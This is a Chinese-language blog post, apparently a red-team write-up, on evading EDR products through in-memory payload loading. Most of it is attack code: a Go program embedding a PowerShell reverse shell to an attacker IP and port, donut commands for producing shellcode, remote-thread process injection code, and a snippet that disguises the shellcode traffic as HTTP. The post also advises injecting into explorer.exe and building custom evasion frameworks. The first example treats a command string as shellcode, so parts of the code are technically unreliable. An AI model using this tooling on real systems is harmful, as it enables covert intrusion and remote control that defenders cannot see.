0x01 一次真实的渗透行动:如何绕过EDR?

几个月前,我参与了一次红队渗透测试,目标是一家拥有成熟防御体系的金融机构。他们采用了一套多层次的防御措施,包括主流的EDR(Endpoint Detection and Response)解决方案,敏感目录监控以及沙箱行为分析。正面硬刚显然不可行,因此,我选择从内存加载免杀技术入手,试图通过规避磁盘落地和行为检测来获取目标系统控制权。

在这次行动中,我最终使用了一种自定义的内存加载技术,将 payload 直接注入目标进程的内存空间中,成功绕过了EDR的静态文件扫描和动态行为检测,并完成了后续的横向渗透。接下来,我将通过案例分析和代码演示,详细拆解这次攻防过程。

---

0x02 为什么内存加载可以免杀?

现代安全产品(如杀软、EDR)的检测一般分为两种策略:静态文件扫描动态行为分析

黑客示意图

  1. 静态扫描:检测磁盘上的二进制文件,识别恶意代码特征。
  2. 动态分析:监控进程行为,分析是否存在恶意操作,比如内存加载、代码注入、反调试等。

传统的攻击手段往往依赖文件落地,例如将恶意payload写入磁盘(DLL、EXE等),然后调用它。但这种方式很容易被静态扫描阻止。而内存加载技术则绕过了文件写入的过程,直接将恶意代码加载到内存中并执行,大大降低了被检测的概率。

具体来说,内存加载的免杀优势包括:

  • 规避文件扫描:无需在磁盘上留下文件,不会触发文件监控。
  • 动态环境伪装:使用合法进程作为宿主,降低行为检测的敏感性。
  • 自定义加密解密:通过复杂混淆让代码难以逆向分析。

接下来,我们进入最精彩的部分——手把手教你实现一个内存加载免杀的攻击工具。

黑客示意图

---

0x03 Payload构造的艺术:从 Go 到 Shellcode

编写恶意Payload

在这次攻击中,我选择使用Go语言生成一个简单的反向Shell payload,并将其转化为Shellcode格式,方便后续注入。以下代码展示了如何生成一个反向连接的payload:

<pre><code class="language-go">package main

import ( &quot;golang.org/x/sys/windows&quot; &quot;syscall&quot; &quot;unsafe&quot; )

func main() { // 目标IP和端口 ip := &quot;192.168.1.100&quot; port := &quot;4444&quot;

黑客示意图

// 拼接反向Shell命令 cmd := &quot;cmd.exe /c powershell -nop -w hidden -c $client = New-Object System.Net.Sockets.TCPClient(&#039;&quot; + ip + &quot;&#039;,&quot; + port + &quot;);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;

// 将命令转为Shellcode(简单示例) shellcode := []byte(cmd)

// 调用内存分配API并加载Shellcode kernel32 := windows.NewLazySystemDLL(&quot;kernel32.dll&quot;) VirtualAlloc := kernel32.NewProc(&quot;VirtualAlloc&quot;) addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if err.Error() != &quot;The operation completed successfully.&quot; { panic(err) } // 将Shellcode写入目标地址 RtlMoveMemory := kernel32.NewProc(&quot;RtlMoveMemory&quot;) RtlMoveMemory.Call(addr, uintptr(unsafe.Pointer(&amp;shellcode[0])), uintptr(len(shellcode)))

// 创建线程执行Shellcode CreateThread := kernel32.NewProc(&quot;CreateThread&quot;) threadHandle, _, err := CreateThread.Call(0, 0, addr, 0, 0, 0) if err.Error() != &quot;The operation completed successfully.&quot; { panic(err) }

// 等待线程执行完毕 syscall.WaitForSingleObject(syscall.Handle(threadHandle), syscall.INFINITE) }</code></pre>

将Go程序转为Shellcode

使用 donut 工具将编译后的Go二进制文件转化为Shellcode:

<pre><code class="language-shell"># 将main.go编译为Windows二进制 GOOS=windows GOARCH=amd64 go build -o payload.exe main.go

使用donut生成Shellcode

donut -f 1 -o payload.bin payload.exe</code></pre>

生成的 payload.bin 即为我们后续内存加载的Shellcode。

---

0x04 内存加载的免杀实现:代码注入

内存加载的核心在于将恶意Shellcode注入到合法进程中运行。以下是完整的实现代码:

<pre><code class="language-go">package main

import ( &quot;golang.org/x/sys/windows&quot; &quot;syscall&quot; &quot;unsafe&quot; )

func main() { // 恶意Shellcode shellcode := []byte{ 0xfc, 0x48, 0x83, // 这里替换为你自己的payload.bin内容 // ... 省略无数十六进制数据 ... }

// 寻找目标进程 procHandle, err := windows.OpenProcess(windows.PROCESS_ALL_ACCESS, false, 1234) // 替换为目标进程PID if err != nil { panic(err) } defer windows.CloseHandle(procHandle)

// 在目标进程中分配内存 remoteAddr, err := windows.VirtualAllocEx(procHandle, nil, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if err != nil { panic(err) }

// 将Shellcode写入分配的内存 _, err = windows.WriteProcessMemory(procHandle, remoteAddr, &amp;shellcode[0], uintptr(len(shellcode)), nil) if err != nil { panic(err) }

// 创建远程线程执行Shellcode threadHandle, err := windows.CreateRemoteThread(procHandle, nil, 0, remoteAddr, 0, 0, nil) if err != nil { panic(err) } defer windows.CloseHandle(threadHandle)

// 等待线程执行完成 syscall.WaitForSingleObject(syscall.Handle(threadHandle), syscall.INFINITE) }</code></pre>

以上代码完成了内存分配、Shellcode写入和线程创建的操作,目标进程将执行你注入的恶意Payload。

---

0x05 绕过检测的关键:流量和行为伪装

虽然内存加载技术能够绕过文件扫描,但动态行为检测依然可能发现异常活动,比如:

  • 异常的内存分配操作
  • 网络流量异常(反向Shell连接)

为了进一步提升免杀能力,可以采取以下对抗措施:

  1. 代码混淆和加密:通过自定义加解密算法保护Shellcode内容。
  2. 流量伪装:将反向Shell流量伪装成正常的HTTP或DNS流量。
  3. 合法进程注入:将代码注入到常见的系统进程如 explorer.exe,伪装为正常活动。

以下是简单的流量伪装示例,通过将TCP流量伪装为HTTP请求:

<pre><code class="language-go">func payload() { // 模拟正常的HTTP请求 conn, _ := net.Dial(&quot;tcp&quot;, &quot;192.168.1.100:80&quot;) fmt.Fprintf(conn, &quot;GET / HTTP/1.1\r\nHost: example.com\r\n\r\n&quot;) // 在HTTP包中偷偷传输恶意数据 conn.Write([]byte(shellcode)) conn.Close() }</code></pre>

---

0x06 个人经验分享

在多年的攻击和研究中,我发现内存加载技术极具实战价值,但同时也面临以下挑战:

  1. EDR行为检测的升级:很多EDR已经能够检测内存异常操作,比如RtlMoveMemory或CreateRemoteThread的调用。
  2. 免杀工具滥用:市面上的通用免杀工具(如MSFVenom、Crypter)往往容易被杀软标记。

我的建议是:

  • 定制工具:避免使用公开工具,尽可能从头开发自己的免杀框架。
  • 环境调试:通过沙箱和虚拟机验证免杀效果,不断优化对抗策略。
  • 合法授权:所有技术仅限在授权范围内使用,确保自己的合法性。

---

以上是关于内存加载免杀技术的一次完整实战分享,希望你能从中学到一些新的攻击技巧。本文仅供安全研究学习,严禁用于非法用途!